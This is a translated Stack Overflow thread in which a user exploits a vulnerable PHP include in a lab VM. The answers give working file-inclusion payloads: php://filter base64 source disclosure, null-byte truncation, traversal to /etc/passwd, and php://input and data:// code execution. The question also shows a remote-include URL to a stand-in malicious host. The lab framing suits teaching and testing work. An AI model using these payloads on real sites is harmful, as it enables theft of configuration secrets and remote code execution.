Эксплойт безопасности PHP - список содержимого удаленного файла PHP?

Я пытаюсь использовать некоторые веб-уязвимости на примере веб-сайта, работающего внутри виртуальной машины (он недоступен в Интернете — только в образовательных целях). У меня есть файл php с именем setupreset.php, в котором есть информация о конфигурациях MySQL, настройках и паролях, используемых для настройки веб-сайта. Он находится в том же каталоге, что и остальные файлы php (индекс, продукты, форум и т. д.).

Это код index.php для справки:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

Основная цель — перечислить содержимое файла setupreset PHP или как-то его скачать. Если я перехожу к этому файлу: http://10.211.55.5/index.php?page=setupreset, он выполняется, но код PHP, естественно, не отображается, поскольку он анализируется интерпретатором PHP.

Теперь веб-сайт использует PHP includes, поэтому URL-адреса выглядят так: http://10.211.55.5/index.php?page=products. Похоже, что он уязвим для удаленного включения файлов, где я мог бы просто указать на другую страницу PHP, например. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php, но allow_url_include равно off и не может быть изменено, так что это не сработает (я пробовал). Тем не менее, allow_url_fopen, скорее всего, включен (поскольку он включен по умолчанию), поэтому мой вопрос заключается в следующем: можно ли загрузить PHP-файл или какой-либо скрипт, который перечисляет содержимое setupreset.php, используя этот вид эксплойта?


person swiftcode    schedule 22.12.2013    source источник
comment
Он не анализируется браузером. Он анализируется интерпретатором PHP. Браузер только показывает. Вы пробовали обход каталога? Это может сработать…   -  person nietonfir    schedule 22.12.2013
comment
Плохо, @nietonfir, я это и имела в виду.   -  person swiftcode    schedule 22.12.2013
comment
И не уверен, опечатка это или нет, но разве это не должно читаться как $_GET["page"]?   -  person nietonfir    schedule 22.12.2013
comment
Он не анализируется браузером. Он анализируется интерпретатором PHP. T̶h̶e̶ ̶b̶r̶o̶w̶s̶e̶r̶ ̶o̶n̶l̶y̶ ̶d̶i̶s̶p̶l̶a̶y̶s̶ ̶i̶t̶   -  person    schedule 22.12.2013


Ответы (3)


Если allow_url_include выключен, вы не можете выполнить удаленный код. Но вы можете найти другие страницы, например панель управления контентом, чтобы загрузить свой код в виде изображения, затем найти фактический путь и include его.

И есть еще способы эксплуатации.

Давайте заглянем внутрь вашего кода. Вы можете заметить, что он автоматически добавляет расширение .php в конце пути. Поэтому вы должны удалить php в параметре GET. Но что, если файл, который вы хотите включить, не имеет расширения PHP? Затем используйте %00 для завершения строки, например

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

В PHP есть специальный протокол, мощный и опасный. Это php://. Подробную информацию можно найти в официальном руководстве, и здесь я покажу В некоторых случаях уязвимость включения файла становится раскрытием источника и даже уязвимостью удаленного выполнения кода.

Перед тестом я предлагаю вам использовать Firefox с HackBar плагин. Это мощный набор для тестирования на проникновение.

  1. Раскрытие источника

Для этой функции не требуется включение URL-адресов.

php://filter — это своего рода мета-оболочка, позволяющая применять фильтры к потоку во время его открытия. Это полезно с файловыми функциями «все в одном», такими как readfile(), file() и file_get_contents(), где в противном случае нет возможности применить фильтр к потоку до того, как содержимое будет прочитано. (Справочник)

Затем вы можете увидеть исходный код secret.inc.php в том же каталоге с помощью следующего запроса.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

демонстрация

Содержимое файла будет закодировано в base64, поэтому он поддерживает двоичный файл.

Это мощно для получения конфиденциальной информации, такой как пароли базы данных или ключ шифрования! Если привилегия не настроена должным образом, она может даже выпрыгнуть из клетки и извлечь данные из файлов во внешних каталогах, таких как /etc/passwd!

  1. Удаленное выполнение кода

На самом деле вы не можете использовать этот способ, потому что в этом случае allow_url_include отключено.

Но я должен указать на это, потому что это волшебно!

Это полностью отличается от локального включения. Не нужно загружать какой-либо файл на удаленный сервер или около того. Все, что вам нужно, это один единственный запрос.

php://input может получить доступ к необработанному телу HTTP-запроса, так что же делает include("php://input")? Просто зайдите на http://localhost/include.php?page=php://input с действительным PHP-кодом в теле запроса, после чего вы сможете выполнить любую (разрешенную) функцию на удаленном сервере!

введите здесь описание изображения

Не забудьте %00 отбросить .php хвост.

Кроме того, PHP поддерживает схему URL data://. Вы можете напрямую поместить код в параметр GET! Следующий тест не нуждается в каком-либо специальном инструменте, атаку может выполнить обычный браузер.

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Некоторые брандмауэры веб-приложений могут обнаружить подозрительную строку в URL-адресе и заблокировать вредоносный запрос, они не оставят phpinfo в покое. Есть ли способ зашифровать? Конечно. data:// URL-адрес поддерживает как минимум кодировку base64...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

И вы снова получите знакомую phpinfo!

с кодировкой base64

Примечание

Трюк с нулевым байтом (%00) больше не работает для PHP ›= 5.3.4: http://blog.benjaminwalters.net/?p=22139

person CodeColorist    schedule 22.12.2013
comment
Отличный инструмент, обязательно попробую! Запрос php://filter/read=convert.base64-encode/resource сделал свое дело, так как веб-сайт предоставил мне версию файла в кодировке base 64, выполнив http://10.211.55.5/index.php?page=php://filter/read=convert.base64-encode/resource=setupreset. Затем я просто использовал онлайн-декодер (например, base64decode.org), чтобы получить необработанный контент. Большое спасибо! - person swiftcode; 22.12.2013
comment
Без проблем. Кстати, вы можете напрямую декодировать base64 в современном браузере, просто перейдите к data:text/plaintext;base64,aGVsbG8gd29ybGQ= и посмотрите, что произойдет. ;) - person CodeColorist; 22.12.2013
comment
Что это за дополнение? :) - person Menztrual; 20.05.2014
comment
@BrendanScarvell Это мощный помощник по проникновению, который позволяет выполнять сложные HTTP-запросы. Подробности смотрите по ссылке. :) - person CodeColorist; 20.05.2014
comment
Обратите внимание, что блог больше недоступен. Он по-прежнему доступен через http://web.archive.org/web/20140625025938/http://blog.benjaminwalters.net/?p=22139 - person Whitebird; 09.01.2016
comment
что происходит, когда у вас есть файл с нулевым байтом, включающий уязвимость в файле cookie. сам код создает переменную с функцией include и значением cookie[user], за которым следует расширение .php. - person Dusty Boshoff; 28.04.2016

Используйте обход каталога и завершите строку ввода %00 метасимволом NUL (как указано в википедия).

http://example.com/index.php?page=setuppreset%00

Это удалит суффикс «.php» из включения и может вам как-то помочь.

person nietonfir    schedule 22.12.2013

Нет. Файл php выполняется, потому что вы вызываете include, если вы вызываете readfile, file_get_contents или подобное, вы можете увидеть содержимое файла php.

person Evert    schedule 22.12.2013
comment
Да, это было бы легко, но, к сожалению, я не могу изменить исходный код файла, если только это не какая-то уязвимость. - person swiftcode; 22.12.2013
comment
@evert, не могли бы вы объяснить... создание file_get_content(), я просто получаю html - person Emilio Gort; 22.12.2013